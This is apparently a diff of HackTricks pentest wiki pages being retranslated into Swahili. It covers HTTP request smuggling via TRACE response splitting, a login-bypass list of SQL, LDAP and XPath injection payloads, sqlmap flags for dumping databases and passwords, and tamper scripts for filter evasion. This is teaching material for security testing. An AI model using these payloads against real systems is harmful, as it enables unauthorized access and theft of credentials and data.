Jibu hili litatumwa kwa ombi linalofuata kupitia muunganisho, hivyo hili linaweza **kutumika katika faili la JS lililohifadhiwa kwa mfano kuingiza msimbo wa JS usio na mipaka**.
|
||||
|
||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Kutumia TRACE kupitia HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
|
||||
Endelea kufuata [**hii chapisho**](https://portswigger.net/research/trace-desync-attack) inapendekezwa njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE.
|
||||
|
||||
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
|
||||
Hivyo, wazo jipya lingeweza kuwa, kujua hii Content-Length na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache).
|
||||
|
||||
Example:
|
||||
Mfano:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
@ -574,7 +582,7 @@ Content-Length: 44\r\n
|
|||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Itazalisha majibu haya (zingatia jinsi jibu la HEAD lina Content-Length ikifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu halali la HTTP linapaswa kuingizwa):
|
||||
Itazalisha majibu haya (zingatia jinsi jibu la HEAD lina Content-Length likifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu halali la HTTP linapaswa kuingizwa):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
@ -595,7 +603,7 @@ Content-Length: 50
|
|||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Kuandaa HTTP Request Smuggling kwa HTTP Response Desynchronisation
|
||||
### Kuandaa HTTP Request Smuggling na HTTP Response Desynchronisation
|
||||
|
||||
Je, umepata udhaifu wa HTTP Request Smuggling na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za kutumia:
|
||||
|
||||
|
@ -617,7 +625,7 @@ Je, umepata udhaifu wa HTTP Request Smuggling na hujui jinsi ya kuutumia. Jaribu
|
|||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Skripti za Turbo intruder
|
||||
## Turbo intruder scripts
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -725,17 +733,25 @@ table.add(req)
|
|||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Orodha hii ina **payloads za kupita kwenye kuingia kupitia XPath, LDAP na SQL injection** (kwa mpangilio huo).
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
Njia ya kutumia orodha hii ni kuweka **mistari 200 ya kwanza kama jina la mtumiaji na nywila.** Kisha, weka orodha kamili katika jina la mtumiaji kwanza na kisha katika ingizo la nywila huku ukitumia nywila fulani (kama _Pass1234._) au jina la mtumiaji linalojulikana (kama _admin_).
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Orodha hii ina **payloads za kupita kwenye kuingia kupitia XPath, LDAP na SQL injection**(kwa mpangilio huo).
|
||||
|
||||
Njia ya kutumia orodha hii ni kuweka **mistari 200 ya kwanza kama jina la mtumiaji na nywila.** Kisha, weka orodha kamili katika jina la mtumiaji kwanza na kisha katika ingizo la nywila huku ukipatia nywila fulani (kama _Pass1234._) au jina la mtumiaji linalojulikana (kama _admin_).
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -823,6 +831,15 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
%8C%A8%27)||1-- 2
|
||||
%bf')||1-- 2
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Misingi ya hoja za SQLmap
|
||||
## Msingi wa hoja za SQLmap
|
||||
|
||||
### Kijumla
|
||||
### Kawaida
|
||||
```bash
|
||||
-u "<URL>"
|
||||
-p "<PARAM TO TEST>"
|
||||
|
@ -43,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
```
|
||||
### Retrieve Information
|
||||
|
||||
#### Ndani
|
||||
#### Internal
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
|
@ -52,7 +54,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
--passwords #Get passwords of users in DB
|
||||
--privileges #Get privileges
|
||||
```
|
||||
#### DB data
|
||||
#### Takwimu za DB
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
|
@ -63,9 +65,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
```
|
||||
## Injection place
|
||||
|
||||
### From Burp/ZAP capture
|
||||
### Kutoka kwa Burp/ZAP kukamata
|
||||
|
||||
Shika ombi na uunde faili la req.txt
|
||||
Kamata ombi na uunde faili la req.txt
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
|
@ -149,7 +151,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
### Tamper
|
||||
|
||||
Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe kwa python** na ni rahisi sana. Unaweza kupata mfano wa tamper katika [ukurasa wa Second Order Injection hapa](second-order-injection-sqlmap.md).
|
||||
Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe katika python** na ni rahisi sana. Unaweza kupata mfano wa tamper katika [ukurasa wa Second Order Injection hapa](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
|
@ -161,23 +163,23 @@ Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe kwa python** na ni rahisi s
|
|||
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
|
||||
| base64encode.py | Base64 herufi zote katika payload iliyotolewa |
|
||||
| between.py | Hubadilisha opereta kubwa zaidi ('>') na 'SIO KATI YA 0 NA #' |
|
||||
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE |
|
||||
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
|
||||
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE |
|
||||
| chardoubleencode.py | Huongeza msimbo wa url mara mbili kwa herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
|
||||
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)' |
|
||||
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
|
||||
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "%u0022" |
|
||||
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "\u0022" |
|
||||
| charencode.py | Huongeza msimbo wa url kwa herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
|
||||
| charunicodeencode.py | Huongeza msimbo wa unicode-url kwa herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "%u0022" |
|
||||
| charunicodeescape.py | Huongeza msimbo wa unicode-url kwa herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "\u0022" |
|
||||
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE' |
|
||||
| escapequotes.py | Huondoa nukta za herufi (' na ") |
|
||||
| greatest.py | Hubadilisha opereta kubwa zaidi ('>') na sawa yake ya 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
|
||||
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
|
||||
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Huongeza swali kamili na maoni yenye toleo |
|
||||
| modsecurityzeroversioned.py | Huongeza swali kamili na maoni yasiyo na toleo |
|
||||
| modsecurityversioned.py | Huongeza maoni kamili ya toleo kwa swali lote |
|
||||
| modsecurityzeroversioned.py | Huongeza maoni ya toleo sifuri kwa swali lote |
|
||||
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
|
||||
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (mfano: .replace("SELECT", "")) filters |
|
||||
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (mfano. .replace("SELECT", "")) filters |
|
||||
| percentage.py | Huongeza alama ya asilimia ('%') mbele ya kila herufi |
|
||||
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
|
||||
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya nasibu |
|
||||
|
@ -189,29 +191,31 @@ Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe kwa python** na ni rahisi s
|
|||
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
|
||||
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na alama ya plus ('+') |
|
||||
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| symboliclogical.py | Hubadilisha opereta za AND na OR za kiakili na sawa zao za alama (&& na |
|
||||
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama (&& na |
|
||||
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
|
||||
| unmagicquotes.py | Hubadilisha herufi ya nukta (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
|
||||
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
|
||||
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
|
||||
| versionedmorekeywords.py | Huweka kila neno muhimu na maoni ya MySQL yenye toleo |
|
||||
| xforwardedfor.py | Huongeza kichwa cha uwongo cha HTTP 'X-Forwarded-For' |
|
||||
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo |
|
||||
| versionedmorekeywords.py | Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo |
|
||||
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,12 +15,21 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Katika kila Web Pentest, kuna **sehemu nyingi zilizofichwa na wazi ambazo zinaweza kuwa na udhaifu**. Chapisho hili linakusudia kuwa orodha ya kuangalia ili kuthibitisha kwamba umepitia udhaifu katika maeneo yote yanayowezekana.
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na wazi ambazo zinaweza kuwa na udhaifu**. Chapisho hili linakusudia kuwa orodha ya kuangalia ili kuthibitisha kuwa umepitia udhaifu katika maeneo yote yanayowezekana.
|
||||
|
||||
## Proxies
|
||||
|
||||
{% hint style="info" %}
|
||||
Siku hizi **maombi ya** **mtandao** kawaida **yanatumia** aina fulani ya **proxies** **za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kawaida pia unahitaji udhaifu wa ziada kwenye backend.
|
||||
Siku hizi **maombi ya wavuti** kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutumiwa kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kawaida pia unahitaji udhaifu wa ziada katika backend.
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**Kutatiza vichwa vya hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
|
@ -35,13 +44,13 @@ Siku hizi **maombi ya** **mtandao** kawaida **yanatumia** aina fulani ya **proxi
|
|||
## **Kuingiza kwa mtumiaji**
|
||||
|
||||
{% hint style="info" %}
|
||||
Maombi mengi ya mtandao yatakubali **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
|
||||
Kulingana na muundo wa data ambayo server inatarajia, udhaifu fulani unaweza kutumika au kutoweza kutumika.
|
||||
Sehemu nyingi za maombi ya wavuti zitawaruhusu **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
|
||||
Kulingana na muundo wa data ambayo seva inatarajia, udhaifu fulani unaweza kutumika au hauwezi kutumika.
|
||||
{% endhint %}
|
||||
|
||||
### **Thamani zilizorejelewa**
|
||||
### **Thamani Zilizorejeshwa**
|
||||
|
||||
Ikiwa data iliyowekwa inaweza kwa namna fulani kurejelewa katika jibu, ukurasa unaweza kuwa na udhaifu wa masuala kadhaa.
|
||||
Ikiwa data iliyowekwa inaweza kwa namna fulani kurejeshwa katika jibu, ukurasa unaweza kuwa na udhaifu wa masuala kadhaa.
|
||||
|
||||
* [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
|
||||
* [ ] [**Command Injection**](command-injection.md)
|
||||
|
@ -59,15 +68,15 @@ Ikiwa data iliyowekwa inaweza kwa namna fulani kurejelewa katika jibu, ukurasa u
|
|||
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||
* [ ] [**XS-Search**](xs-search/)
|
||||
|
||||
Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu yaliyomo kuonyeshwa. Unaweza kupata polygloths za kuvutia za kujaribu haraka udhaifu katika:
|
||||
Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kurejeshwa. Unaweza kupata polygloths za kuvutia za kujaribu haraka udhaifu katika:
|
||||
|
||||
{% content-ref url="pocs-and-polygloths-cheatsheet/" %}
|
||||
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Kazi za kutafuta**
|
||||
### **Kazi za Utafutaji**
|
||||
|
||||
Ikiwa kazi inaweza kutumika kutafuta aina fulani ya data ndani ya backend, labda unaweza (kutumika vibaya) kutafuta data isiyo ya kawaida.
|
||||
Ikiwa kazi inaweza kutumika kutafuta aina fulani ya data ndani ya backend, labda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo na mpangilio.
|
||||
|
||||
* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
||||
* [ ] [**NoSQL Injection**](nosql-injection.md)
|
||||
|
@ -81,12 +90,12 @@ Ikiwa kazi inaweza kutumika kutafuta aina fulani ya data ndani ya backend, labda
|
|||
Wakati websocket inachapisha ujumbe au fomu inayowaruhusu watumiaji kufanya vitendo, udhaifu unaweza kutokea.
|
||||
|
||||
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
||||
